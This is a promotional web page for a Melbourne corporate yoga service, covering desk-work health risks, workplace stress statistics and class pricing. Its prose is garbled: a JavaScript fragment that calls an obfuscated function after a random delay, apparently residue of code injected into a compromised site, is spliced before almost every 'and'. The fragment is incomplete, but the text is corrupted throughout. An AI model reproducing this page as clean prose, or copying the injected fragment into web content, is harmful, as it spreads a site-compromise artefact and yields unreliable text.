Melbourne Corporate Yoga

We’ll make you feel fantastic by bringing yoga to your workplace in Melbourne!

Sitting is the new health hazard; on average we spend over 30 hours a week sat at a desk.

Our shoulders slump forward, our breathing becomes shallow, our spine is hunched andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and our core becomes weak. Add this to daily stress of work andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and family commitments, endless to-do-lists andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and we’ve got unhealthy bodies andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and minds. In the long term, this may lead to heart disease, Type 2 diabetes, stroke, high blood pressure andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and premature mortality.

Yoga will get rid of tightness in your body

Lengthen tight muscles in your shoulders, neck, back andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and legs by stretching your body to let go of the tight areas you may not even know you’re holding onto.

  • Stretch all the muscles in your body
  • Lengthen through your spine to improve posture
  • Practice gentle backward bends andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and spinal twists to counteract our daily habit of hunching forwards

Yoga will make you strong andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and flexible

Develop your core muscles as you move into yoga poses andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and hold them for a few moments with steadiness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ease. Being flexible doesn’t mean doing the splits; its about moving your body, joints andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and your spine easily andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and safely.

  • Strengthen your core muscles helping to maintain a healthy spine
  • Use your own body weight as resistance making you stronger
  • Mobilise your joints, becoming flexible in your hips, spine andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and shoulders

Yoga will help you lose the stress

Yoga helps you to get out of your head andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and away from your constant thoughts. Give yourself the gift of stillness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and learn to breathe fully andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and deeply.

  • Practice being mindful
  • Feel calm in your mind
  • Feel relaxed yet rejuvenated

Stats about workplace stress

The Australian Human Rights Commission states:

  • A total of 3.2 days per worker are lost each year through workplace stress
  • Stress-related workers’ compensation claims have doubled in recent years, costing over $10 billion each year
  • A survey of over 5000 workers indicated that 25% of workers took time off each year for stress-related reasons
  • In relation to psychological injury claims, work pressure accounts for around half of all claims andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and harassment andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bullying for around a quarter of claims
  • Preliminary research shows that Australian businesses lose over $6.5 billion each year by failing to provide early intervention/treatment for employees with mental health conditions.

Research shows that every dollar spent on identifying, supporting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and case-managing workers with mental health issues yields close to a 500% return in improved productivity (through increased work output andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reduced sick andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and other leave).

Ask us about corporate yoga here!

Pricing

  • $130 per class for 5 or 10 weeks
  • One-off class – $150
  • Want something tailored to your needs? ask us for a quote!

Some of our clients

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